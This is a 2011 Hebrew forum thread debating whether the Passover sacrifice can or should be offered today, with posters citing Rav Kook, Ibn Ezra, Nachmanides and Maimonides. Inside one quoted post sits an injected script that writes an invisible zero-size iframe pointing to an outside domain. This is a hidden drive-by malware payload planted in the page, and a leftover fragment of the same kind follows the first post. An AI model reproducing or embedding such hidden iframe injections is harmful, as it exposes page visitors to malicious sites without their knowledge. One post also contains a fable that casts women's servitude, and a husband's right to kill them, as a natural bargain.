| נשלח ב-12/4/2011 23:19 |
 |
| |
קרבן פסח בזמן הזה
יותם שאל האם אין עלינו להקריב קרבן פסח בזמן הזה. http://www.bhol-forums.co.il/topic.asp?whichpage=4&topic_id=2883911&forum_id=1364 כיון שהאשכול שלו, "משיח לא בא בינתים אולי נתארגן", התארך, אני מנצל את זכותי לפי חוקת הפורום ופותח אשכול חדש על הסתעפות זו מדבריו. כמדומה שהנושא של קרבן פסח בזמן הזה מעולם לא עלה בפורום. וחבל. זה נושא מרתק, אקטואלי, ומספק הזדמנות לעיון בסדר הפחות נלמד של קודשים. לצערי כבר כמה שנים לא עסקתי בסוגיה זו, אבל אפשר להיזכר. ומנאי ומכל חברינו תסתיים שמעתתא. *** יותם וכולם
כפי שטען בשעתו הגרי"ד סולוביצ'יק ע"ה, הקמת המדינה באישור העולם יכולה להחשב כסימן משמים, כ"קול דודי דופק".
יש עוד תהליכים שהתרחשו בחברה הישראלית בעשרות השנים שהיא קיימת שיכולים להראות כמקדמים את עידן המשיח.
אבל התנאים שהוזכרו לזיהוי עידן זה רחוקים מלהתממש.
זה לדעתי לא פוטר אותנו, אלו שסבורים שראוי שתהיה מדינה יהודית, מלעמול על קיומה וקיום המצוות התלויות בה. בשכבר הימים קיויתי שאזכה להשתתף בהקרבת הפסח.
זה לא בלתי אפשרי מצד ההלכה. יש כמובן בעיות ושאלות שצריך לפתור. 1. כולנו בחזקת טמאי מתים – אבל קרבן ציבור קרב בטומאה. מצד שני, עלינו לטפל בטומאות אחרות (בעיקר טומאת קרי), אבל לזה מספיקה טבילה. 2. בין למאן דאמר קדושה ראשונה קידשה לשעתה ולעתיד לבוא במקום המקדש (הרמב"ם) ובין למאן דאמר קדושה ראשונה בטלה אבל שניה קידשה לשעתה ולעתיד לבוא, יש קדושה במקום המקדש שמאפשרת להקריב. (צריך ביאור רב של מונחים אלו ואיני יכול לעשות זאת כרגע). 3. אין לנו בית וגם לא מזבח. אבל הבית עצמו אינו מעכב. איני זוכר אם צריך בנית מזבח, אבל האם זה בלתי אפשרי? 4. איך מזהים כהנים ואיך משיגים בגדי כהונה? 5. איך מזהים את מקום המזבח? 6. איך מזהים בהמות שאינן בעלות מום? לשאלות ההלכתיות יש פתרונות. הן גם נידונו בספרי פוסקים ורבנים מאז ראשית ימי הציונות. אחד מן המטא כללים שיש להסתייע בו הוא שאין עלינו המלאכה לגמור ואין אנו בני חורין להיבטל ממנה. כלומר, אם אין אנו יודעים בדיוק את מקום המזבח, ניתן להשתמש בכל הכלים שיש לנו, כגון מחקר ארכיאולוגי, ולא לומר: איננו יודעים ולכן אנו אסורים ופטורים. איננו יודעים לזהות כהנים בוודאות אבל יש משפחות כהונה עם ייחוס. בגדי כהונה נעשים ומוכנים בידי אגודה בירושלים. הבעיות העיקריות הן טכניות, אבל אולי הן כבר חורגות מן הטכני. א. האם הממשלה והחברה מסביב, כוונתי ליהודית, תאפשר להקריב קרבן? לכאורה ניתן לתבוע זכות לעשות זאת (אם כי אולי תהיה התנגדות מצד "צער בעלי חיים"). ב. איך זה יסתדר פוליטית ובטחונית? אוהו, זו שאלה של פיקוח נפש של העם, אולי. (כשהייתי צעיר ברוחי ובידיעותי ובאמונתי, הייתי עונה: אנו נשתדל וה' יעשה את השאר. אין לי היום את הבטחון הנועז של אז). ג. האם אנו, האורתודוכסים, באמת רוצים קרבנות? האם אנו מסוגלים להתמודד ולו עם קרבן פסח פעם בשנה? אשאל את עצמי: האם אני מסוגל לקחת את משפחתי, לעלות לרגל, למצוא מקום לינה, להצטייד באוכל, לקנות בהמה, לעלות איתה להר הבית, להכין סכין, להתמנות על חבורה, להערך לסדר פסח על אחד הגגות, נניח, ברובע היהודי? בשעה שאני כותב את המילים האלו אני חש מצד אחד געגוע רב למצות קרבן פסח. מצד שני, אני יודע שזה חלום, ולכן אני יכול להרשות לעצמי לחלום. וכל זאת גם אם היינו משיגים איזו הסכמה מן הערבים שיניחו לנו לקיים לפחות מצות פסח. אך האם מקום המזבח אינו בדיוק בתוך אחד המסגדים שלהם? לפיכך, אני נשאר עם החלום. אבל כמנהג יהודים בכל הדורות, אני הופך את התקוה ממציאות מעשית למציאות הלכתית, ומעלה את השאלה בבית המדרש כאפשרות תיאורטית...
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-17/4/2011 03:08 |
|
| |
| maxmen כתב: |  | לעולם לא נחזור לקרבנות של בעלי חיים, ראו בלנבוכי הדור של הרב קוק, שטוען שיחזרו לקרבנות מן הצומח,
אבל לפי חז"ל שכל הקורבנות הם רק לאנשים שרגילים לע"ז
והיות שהיום אין אנשים שרגילים ושעושים כך, אין סיבה לחזור לזה, זה אכזרי ומיותר,
הנה החז"ל
אל פתח אהל מועד יקריב אותו: ואל פתח אהל מועד לא הביאו ר' פנחס בשם ר' לוי משל לבן מלכים שגס לבו עליו והיה למוד לאכול נבלות וטרפות, אמר המלך זה יהיה תדיר על שלחני ומעצמו הוא נידור, כך לפי שהיו ישראל להוטים אחר
עבודה זרה במצרים והיו מביאים קרבניהם לשעירים, ואין שעירים אלא שדים וכו' והיו ישראל מקריבים קרבנותיהן באיסור במה ופורענות באות עליהן, אמר הקב"ה יהיו מקריבין לפני בכל עת קרבנותיהן באהל מועד והן נפרשים מעבודה זרה והם ניצולים (ויקרא רבה כב ח)
והיום באמת האנושות מעצמו נידור מאכזריות מסוג כזה,
כך ראו את זה חז"ל ואחריהם הרמב"ם וכך צריך להיות שהאומה הרחמנית ביותר צריך וחייב לא לחזור לקרבנות של בעלי חיים, |
|
רציתי להוסיף את האבן עזרא מהשבת,
ויקרא פרק יז (ז) וְלֹא יִזְבְּחוּ עוֹד אֶת זִבְחֵיהֶם לַשְּׂעִירִם אֲשֶׁר הֵם זֹנִים אַחֲרֵיהֶם חֻקַּת עוֹלָם תִּהְיֶה זֹּאת לָהֶם לְדֹרֹתָם:
אבן עזרא ויקרא פרק יז פסוק ז ומלת "עוד" תורה שכן היו ישראל עושין במצרים. אשר הם זונים כי כל מי שמבקש אותם ומאמין בהם הוא זונה מתחת אלהיו, שיחשוב כי יש מי שייטיב או ירע חוץ מהשם הנכבד והנורא. ובזו הפרשה לא הזכיר הגר, כי המצוה על ישראל בזבחים ובעולות. והזכיר הגר, שלא יעזבו ישראל שיזבח הגר לעכו"ם בארץ ישראל, וכן משפט כל דם, שהוא אסור בעבור שהוא הנפש, כי הבשר בדם הוא. והאמת, כי הנפש שבה יחיה האדם הוא בדם הלב:
אבן עזרא ויקרא פרק יט (כו) לא תאכלו על הדם דבוק עם הכתוב למעלה, כי הזהיר על עץ נטוע שלא יאכלו מפריו עד השנה החמישית, גם כן כל בשר טהור לא יאכל עד שיזרוק דמו על מזבח השם, אם היה קרוב אל מקום הקדש. והעד הנאמן דברי שאול, כי הארון היה עמו, כי כן כתוב הנה אוכלים על הדם (ש"א יד, לג וַיַּגִּידוּ לְשָׁאוּל לֵאמֹר הִנֵּה הָעָם חֹטִאים לַיקֹוָק לֶאֱכֹל עַל הַדָּם וַיֹּאמֶר בְּגַדְתֶּם גֹּלּוּ אֵלַי הַיּוֹם אֶבֶן גְּדוֹלָה:), כאילו אוכלים זבחים לשעירים, כאשר פירשתי, שהיה כן מנהגם במצרים לזבוח בשם השדים, כי אחר שלא נזרק הדם על המזבח לשם השם, הנה הדבר ברור,(כלומר: ששחטו לשדים ועוד לא נגמלו מהם, max) על כן דבק עמו לא תנחשו, כי במצרים היו אוכלים על הדם, וזונים אחרי השדים,
_________________
|
|
|
|
| נשלח ב-17/4/2011 00:42 |
|
| |
אסף הצדיק:
הנה:
כל פרק י' הוא דן בעניין, מתחיל בעמוד לח' עד עמוד נ' (פרק ארוך יחסית)
בעמוד מו' הוא אומר כך,
הקרבנות: אמנם ודאי כל זמן שמצב המוסר האנושי מוצא להכרח או לישר לפניו להשתמש לצרכיו החומריים בהריגת בעלי חיים, ראוי שהתשמיש היותר תכליתי, דהיינו הוראת ההכרה הפנימית בחובת ההודאה להאל הטוב, תהיה על ידי קרבנות של בעלי חיים, ועוד ימשך אולי גם כן בעבור התקופה ההיא, והמוסריות תתנשא עד להבחיל בשר כל חי,
אמנם ההערה למציאות מדת הדין ושימוש האכזריות בעולם ראוי שימצאו ודאי איזו תקופה כדי לשמור את מצב הרוח האנושי שלא ישפל על ידי עלילות רעות של הכושלים המוסריים שבחברת האדם, "החוטא בן מאה שנה יקלל" על כן תהיה הערת הקרבנות שפועלת על כל פנים על המתעסק איזו הערה שיש צורך עדיין במדת הדין בעולם,
אומנם כשיתרומם המצב עד האופן היותר נשגב שלא יהיה צורך כלל בשום שמירה, אז ודאי סנהדרין גדולה היושבת במקום אשר יבחר ד' יעמיקו בתורה, אם יתכן לזבח אז לד' כל חי, כאשר אין אדם יכול לרצות בזה בשום אופן מצד הכרתו המוסרית, ונאמר "לרצנכם תזבחו" וכיון שאי אפשר שיהיה בזה רצון אנושי שלם, ודאי יהיה כח ביד בית דין הגדול להחליף את הקרבנות של הבהמות למנחות מן הצמחים, ועל זה נאמרה התעודה האחרונה "וערבה לד' מנחת יהודה וירושלים" דוקא מנחה ולא זבח. ועל זה נאמר בדחז"ל כל הקרבנות בטלים ותודה אינה בטלה, מוסב על הלחם שהוא עיקר גדול בה,
מובן הדבר שאי אפשר להגביל פרטי התקופות שיהיו מסורות רק לבית דין הגדול במקום אשר יבחר ד', וכל אשר יגזרו בפירוש התורה והגבלתה, בין על פי טעמא דקרא, בין על פי שימצאו סמך מן התורה, כיון שחוברה לזה דעת בית דין הגדול הרי זה תורה שלמה, החולק על זה הוא זקן ממרא, שלא ימצא מגונה כזה בזמן השלימות,
_________________
|
|
|
|
|
| נשלח ב-17/4/2011 00:07 |
|
| |
ראוי להכיר את כל הקונספט בעניין...
"בעניין הקורבנות גם כן יותר נכון להאמין, שהכול ישוב על מכונו ונקיים בעזרת ה' כשתבוא הישועה... כל האמור ביעודה כמאמרה, ולא נתפעל ביותר מהרעיונות של התרבות האירופית... ואין ראוי לנו לחשוב שבקורבנות מונח הוא רק הרעיון הגס של העבודה המגושמה... (אורות המקדש עמ' 51-2). אבל לעתיד לבוא שפע הדעת יתפשט ויחדור אפילו בבעלי-חיים... וההקרבה שתהיה אז של מנחה מהצומח תערב לה' כימי עולם וכשנים קדמוניות (שם, עמ' 73).
וממליץ לעיין במאמר- "העידן החדש- בית המקדש" של הרב נתנאל יוסיפון באתר ישיבה
_________________
|
|
|
|
| נשלח ב-17/4/2011 00:02 |
|
| |
דורות שאינם מסוגלים לקום ולחדש את התכלת בציצית, יהיו מסוגלים לקום ולהקריב קרבנות....
הצחקת אותי.
|
|
|
|
| נשלח ב-17/4/2011 00:02 |
|
| |
| 1אסף1 כתב: | | | אם תוכל לתת מיקום מדויק, או להביא את הדברים זה יהיה מצוין.תודה. _________________
|
|
אני רץ לחפש לך, בינתיים כך רמב"ן יפה של השבת
רמב"ן ויקרא פרק יז פסוק יא
והראוי שנפרש בטעם איסורו, כי השם ברא כל הנבראים התחתונים לצורך האדם כי הוא לבדו בהם מכיר את בוראו, ואף ע"פ כן לא התיר להם באכילה מתחילה רק הצומח לא בעלי הנפש, כאשר בא בפרשת בראשית שנאמר (בראשית א כט) הנה נתתי לכם את כל עשב זורע זרע וגו'. וכאשר היה במבול שנצולו בזכותו של נח והקריב מהם קרבן והיה לרצון לו התיר להם השחיטה, כמו שאמר (שם ט ג) כל רמש אשר הוא חי לכם יהיה לאכלה כירק עשב נתתי לכם את כל, כי חיותם בעבור האדם. והנה התיר גופם אשר הוא חי בעבור האדם, שיהיה להנאתו ולצרכו של אדם, ושתהיה הנפש שבהם לכפרה לאדם, בקרבים לפניו יתברך, לא שיאכלוהו. כי אין לבעל נפש שיאכל נפש, כי הנפשות כולן לאל, הנה כנפש האדם וכנפש הבהמה לו הנה ומקרה אחד להם כמות זה כן מות זה ורוח אחד לכל (קהלת ג יט):
ראה גם משל יפה שנתתי פעם בעניין, וחיזוק גם מחז"ל למשל, אז הנה החז"ל ואחר כך המשל שלי
ויקרא רבה (מרגליות) פרשת מצורע פרשה טז
ור' יהושע בן לוי אמ' ציפרים ציפרי דרור, שאוכלת מפיתו ושתת מימיו. והלא דברים קל וחומר, ומה אם ציפרים שאוכלין מפיתו ושותין ממימיו מכפרות עליו, כהן שנהנה מישראל עשרים וארבע מתנות על אחת כמה וכמה.
היו היה לפני מיליוני שנים אסיפת חירום של כל החיות הטהורות,
על הפרק סכנת הכחדה מידית של כל המין החיות הטהורות,
והיות שאין לנו שיניים לטרוף אפי' אם רצינו להילחם ולטרוף ?! אי אפשר ! אז מה עושים ?
לגור במקום שאין שם חיות טורפות ?! אין מקום כזה ! אז מה עושים,
היית שם חיה חכמה שאמרה:
אני מכירה חיה מסוג מעניין הם קורים לעצמם "אדם"
הם לא טורפים (כי יש לה אותו שיניים ישרות)
אבל הם צריכים חלב בגדים (כי קר להם והם גם מתביישים להיות ערום ולכן הם צנועים ומתעטפים עם צמר ועור מחיות מתות,)
והם (האדם) חיים בנפרד מכל החיות, והחיות מפחדות לבוא למקומם, כי הם חזקים מאוד,
אז אני מציע בואו נעשה הסכם איתם,
שהם (האדם) יקבלו אותנו בביתם\במקומם,
ואנו נתן להם, חלב צמר ועור, וגם נעבוד בשבילם בחרישה ורכיבה וכדומה,
והם (האדם) יתנו לנו אוכל מקום חם לישון, וירפאו מחלות שלנו וכדומה,
היית שם חיה מפגר, שטען, שנכון שהם לא טורפים כי אין להם שיניים שאפשר לטרוף ולאכול,
אבל יש להם פיתרון, הם מבשלים את הבשר, ואז יכולים הם לאכול בשר, ולכן הם ישחטו אותנו ויבשלו אותנו,
אז מה רבונו של עולם נרוויח ???
אמרה לה החיה החכמה: גבר טיפש שכמותך, אוקיי ניתן להם לשחוט אותנו, אבל הם צריכים גם חלב וצמר ורכיבה ועבודה זולה,
אז במילא, הם (האדם) יגדלו אותנו ויפרנסו אותנו ויתנו לנו מקום חם לגור בה,
אז מה הבעיה שלך שגם ישחטו כמה מאיתנו,
וההיגיון אומר שישחטו את אלה שאין להם כבר צורך בהם,
ובמילא היו זורקים אותו לרחוב, וחיות הטרף היו טורפים אותו במילא,
ולכן כדאי לנו לסגור הסכם\ברית עם מין ה"אדם" ואנו (= המינים הטהורות) יחיו לנצח,
בקיצור כל הבהמות והחיות הטהורות, הסכימו לרעיון הנפלא בשמחה וברצון אמיתי וחופשי,
רגע רגע,,, צעקה הבת של החיה החכמה,
לכל הסכם יש שני צדדים, האם מין ה"אדם" ירצה בהסכם הזה ???
השתרר דממה, וניכרו על פניהם מין אכזבה כמו מחלום מתוק שחלמו כביכול,
(הבנת הזוגיות)
ואז קם זקן החיות ממקומו ואומר:
סבתא שלי סיפרה לי,
שבימי קדם מין ה"אדם" היה סוג ממין זכר רק, לא היה לו נקבה, (בעצם היה לו, הרי נולד מנקבה, רק התכחש לה, כי היא חלשה ויש לה דמים הרבה, ולא מפרנסת (= טורפת) ורק מטפלת בצאצאיה,)
חיפש הוא והזדווג הוא עם כל החיות בעולם, ולא הצליח למצאו דרך לקיים את מינו,
ול"אישה" היית בעיה לפרנס את עצמה ואת ילדיה, וגם החיות באו לטרוף אותה ואת ילדיה כל הזמן,
ולכן הייתה צריכה מפרנס ומגן מחיות טורפות, ומישהו שיבנה לה בית חם ויתן לה וילדיה ביטחון,
ל"אישה" הייתה בינה יתרה, ואמרה\היציעה לגבר (שהם חמורים בדרך כלל) בואו אני יגדל רק את ילדיך, (אני לא הזדווג עם אחר,) ואז יתקיים המין (האדם) דווקא ממך,
אוקיי אומר לה הגבר, מניין לי הביטחון ?? את תלכי להזדווג עם אחר ואני לעולם לא ידע שהילד לא שלי, ואני עוד יפרנס אותו ????? וגם באמת לא כולם יהיו צאצאיי ??? רק מאיזה קוף או נחש שתמציאי ביער ??
אוקיי אומרה ה"אישה" החכמה: אתה תהיה ה"אדון" ואני היה עבדך לעולמים, כך שאם אני יבגוד בך ?! זכותך להרוג אותי,
כך חיו להם האדם והאישה בבטחה,
(הבנת העבדות בהיסטוריה)
לימים (ממשיך לספר זקן החיות) חלק ממין האדם התכחש להסכם, ואחרי שבנה בית עם ילדים ?! התעצל לעבוד ולפרנס את האישה וילדיה,
והיגיע לעוני ולפשע, (לפעמים גם בניהם היגיעו למצב הנ"ל)
אז כמה חכמים מאלה (הפושעים) שרצו לחזור להיות בני אדם ?! ביקשו והתחננו לבני מינם לקנות אותם לעבדים,
כמו שקנו את האישה,
וכך הם החיות ממין האדם מסתדרים ביניהם וחיים דיי טוב,
והיות (אומר "זקן" החיות) שיש אצלהם תקדימים כאלה ?! יכול להיות שהם (מין האדם) יקבלו את הצעתינו, ויכרתו ברית עימנו,
ומאז ?! הכל היסטוריה,
_________________
|
|
|
|
| נשלח ב-16/4/2011 23:48 |
|
| |
עד שמקסמן ימצא את המקור בספר- מצאתי ברשת מאמר שמסכם את עמדתו של הרב קוק בנושא הקרבנות:
"כהמשך לנושא חידוש עבודת הקרבנות, נביא הפעם קטעים ממאמר שכתבה חנה מנדלמן מכפר חסידים [בחג הסוכות תש"ע נפטרה האשה הצדקנית חנה מנדלמן ז"ל בדמי ימיה - יהיו הדברים לעלוי נשמתה]. במאמר זה נציע הסבר רעיוני למצוות הקרבנות ע"פ שיטת הראי"ה קוק זצ"ל.
במאמריו שנלקטו בחוברת "חזון הצמחונות", הסביר הראי"ה שאכילת בשר אינה מצב שלם, ויבוא יום וכל בני האדם יהיו צמחוניים. אף הראי"ה עצמו היה צמחוני תקופה מסוימת בחייו. על כן מעניין יחסו של הרב לקרבנות, בהם הרבה לעסוק בספרו "עולת ראיה". על שני מקורות אלו מבוססים הדברים הבאים.
אדם הראשון היה צמחוני, אסור היה לו לאכול בשר. כל היצורים בבריאה נועדו לעבודת ה', על כל יצור מוטלת החובה להתעלות, להתקדש, לברר את עצמו מן התכונות השליליות שבו, ולפתח את הטוב שבו. כשהאדם קרא בשמות לכל בעלי-החיים, הוא ברר אותם, הפריד את התכונות הלא-טובות שבהן, הוציא לפועל את הטוב שבהן, והביא להתעלותם. אותם בע"ח היו ברמה רוחנית גבוהה ביותר, ולכן אסור היה לאכלם.
אולם לאחר החטא, נפל האדם ברמתו הרוחנית, ונפלו עמו בעלי-החיים ממדרגתם. מאז, לא יכול עוד האדם "לברר" את הבריאה, להפריד את הפסולת הרוחנית באותה דרך פשוטה כמו קודם. בהקרבת קרבן, מעלה האדם את "הכוח החיוני" – תכונתם המיוחדת של בעלי החיים – אל הדרגה הגבוהה שלו. "בעלי החיים, הקרבים למזבח, חל בהם עצמם התיקון ע"י התעלותם להיות זבח לה', כיון שאין בהם דעת אינם מגיעים להתעלות זו כי אם במעשה הנעשה בהם בהעלות לה' דמם וחלבם..." (עולת ראיה עמ' רצב).
האדם, שיש בו דעת, מגיע להתעלות בעזרת דעתו, ויכול להעלות גם את הבהמות, שאין להם דעת, ע"י הקרבתם לה'. בעולם החי יש כוחות שונים של עצמה והרס, וכאשר מקריבים אותם יש בכך כפרה רבת עצמה לאדם ולחי: "כוח המפעל של עוז החיים... כח השור, מלא הגבורה והעוז... וכוח ההרס המשעיר [של השעיר]... כח הסותר והמחריב... בהיותם מתעלים לרום הגובה של מטרתם, כל חטא ועוון... מתכפרים הם..." (שם עמ' קסז). הקרבת כוחות אלו על המזבח, מביאה כפרה גדולה לאדם ולכח החייתי שבעולם. "שעל ידי החטאים נתקלקל כח החיים... וצריך ביעור. אבל הפנימיות שבהם... יש בה עניין לעלות... להתהפך לכח פועל, שואב אור קודש וחיים עליונים המתהפכים מרעה לטובה" (שם עמ' קסט).
אמנם גם התפילה מתקנת את העולם, והעיסוק בתורת הקרבנות מכפר כאילו הקרבנו קרבן, "ונשלמה פרים שפתינו", אבל הכפרה שבעבודת המקדש והקרבנות היא רצופה ומתמשכת, שלא כקדושה החלה רק ברגע שאנו עוסקים בלימוד. "רק הקדושה המתמדת, לא המקרית הבאה מזמן לזמן, היא יכולה לעצור את כל פרץ". "על כן מוכרחת היא הנשמה הישראלית לבקש את תיקונה בשרשה – יחזור כבוד ה' על מכונו... שיבנה בית המקדש במהרה בימינו" (שם עמ' קכז-קכח). ישנה ערבות רוחנית הדדית בין האדם לבהמה. האדם מתעלה, ומעלה את עולם החי עימו, והחי המוקרב לקרבן מכפר על חטאי האדם. בעבודה זו, לא יכול האדם לכפר על עצמו ללא קרבן מן החי, מכח אחריותו לחיות ומתוך כך שלא ניתן להעלות רק חלק אחד של הבריאה – האדם – ללא השתתפות הנבראים האחרים. העולם התקלקל בגלל מעשי האדם. העולם יתוקן בזכות מעשי האדם, בעבודה ממושכת ועקבית, שלב אחר שלב. את הדרגה הרוחנית שתושג לעתיד, בכח העמל הרוחני, בכח עבודת המקדש, לא ניתן יהיה שוב לקלקל.
ולבסוף, בעתיד הרחוק, לא יקריבו עוד קרבנות מן החי, והאדם לא יאכל בשר: "לעתיד לבוא, שפע הדעת יתפשט ויחדור אפילו בבעלי החיים... וההקרבה שתהיה אז של מנחה, מהצומח, תערב לה' כשנים קדמוניות" (שם עמ' רצב). פורסם בהמשכים בעלון להבה.
תוקן על ידי צענערענע ב- 16/04/2011 23:49:57
|
|
|
|
|
| נשלח ב-16/4/2011 23:36 |
|
| |
אם תוכל לתת מיקום מדויק, או להביא את הדברים זה יהיה מצוין.
תודה.
_________________
|
|
|
|
|
| נשלח ב-16/4/2011 23:10 |
|
| |
| 1אסף1 כתב: | | | באחת התגובות הקודמות נכתב שהרב קוק טען שהקורבנות יהיו צמחוניים.אפשר מקור מדויק לכך? _________________
|
|
בספרו לנבוכי הדור, אם תרצה שאני יבדוק במדויק עמוד אני יעשה זאת במקומך, רק תבקש,
_________________
|
|
|
|
| נשלח ב-16/4/2011 22:28 |
|
| |
באחת התגובות הקודמות נכתב שהרב קוק טען שהקורבנות יהיו צמחוניים.
אפשר מקור מדויק לכך?
_________________
|
|
|
|
| נשלח ב-15/4/2011 18:16 |
|
| |
צענע
מכאו למדת שאת לא קרבן פסח?
|
|
|
|
| נשלח ב-15/4/2011 01:02 |
|
| |
בזכות חברים באשכול סמוך,
זכיתי שמסכת סנהדרין תגיע לידי היום, ומסתבר שאכן הגמרא נוטה לפסוק שחיוב כרת חל בכל 15 המילין שסביב ירושלים, וכן פוסק הרמב"ם, למרות שנראה שהמשנה נוטה לדעה השניה. (= שחייבים רק מאסקופת העזרה ולחוץ)
מה שיותר מעניין הוא הקשר בין כל זה ובין כל מיני סוגיות מדעיות לכאורה של חכמים שמופיעות בהמשך אותה גמרא (דף צ"ד) ושחלקן הועלו כאן בהקשרים שונים בעת האחרונה (ובעצם במובנים רבים מעת הולדת הפורום הזה) משניהם גם יחד נראה לי שנוכל להבין :
1. כשחכמים מדברים על דרך רחוקה הם מתכווונים גם לפער קיומי.
2. כשחכמים מדברים על העולם ומשערים בו מרחקים וכד' באופן "מדעי" כביכול, כוונתם לשער את המרחק הקיומי הזה באופנים שונים, ממילא הניסיון לדמות את זה לטענות מדעיות נטו מופרך ויסודו בטעות. (שימו לב למשל לרבה בר בר חנה שפותח את החלק הזה בסוגיא , שדרכו בלימוד ידועה לכל מי שלמד ב"ב, או לכל הפחות את הדפים הפיקנטיים בהם הוא מככב שם. :-))
_________________
|
|
|
|
| נשלח ב-14/4/2011 22:48 |
|
| |
| מיימוני כתב: | | אני חש מצד אחד געגוע רב למצות קרבן פסח. ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
ולקורבנות אחרים אתה גם חש געגוע?
פעם אחת ראיתי כפרות. חתכו ראשי תרנגולים לפי תור, בהגבהת ערמות פגרים בו במקום.
שמח רק דבר אחד. תגובת הילדים אותם הורים דחפו עם תרנגול לקרת סכין. הילדים בהיסטריה ניסו לברוח, זה שמח ועודד.
לי כל הספקות לגבי "געגועיי" פסקו.
ואמר הרמב"ם,
"ואמר ירמיה כי לא דברתי את אבותיכם ולא ציוויתים ביום הוציאי אותם מארץ מצרים על דברי עולה וזבח..."
אולי בכול זאת אפשר להפנים את זה כאקטואלי גם עם איחור למעלה מ-2000 שנה אחרי ירמיהו.
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
| נשלח ב-14/4/2011 11:13 |
|
| |
פוסקים כר"ע שמאסקופת העזרה ולחוץ פטור.
_________________
|
|
|
|
| נשלח ב-14/4/2011 10:04 |
|
| |
| עציוני כתב: | | פסח שני לא רלוונטי כי רק יחידים נדחים לפסח שני אך לא ציבור.
נדמה לי שכל מי שלא מקריב קרבן פסח עושה זאת מכיוון שהוא רואה עצמו כאנוס - אם מחמת אונס חוקי/פוליטי, אם מחמת אונס הלכתי - סובר שלא ידוע לנו מקום המזבח/בגדי כהונה וכד'. האם יש מישהו שחושב שברמה העקרונית אין היום שום חיוב - כלומר, שגם אם כל מדינות העולם וממשלת ישראל יסכימו לכך, וכל הפרטים הטכניים יסתדרו, עדיין לא יהיה חיוב? _________________
|
|
התכוונתי לחובת היחיד הנמצא בתוך 15 מיל מירושלים.
|
|
|
|
|
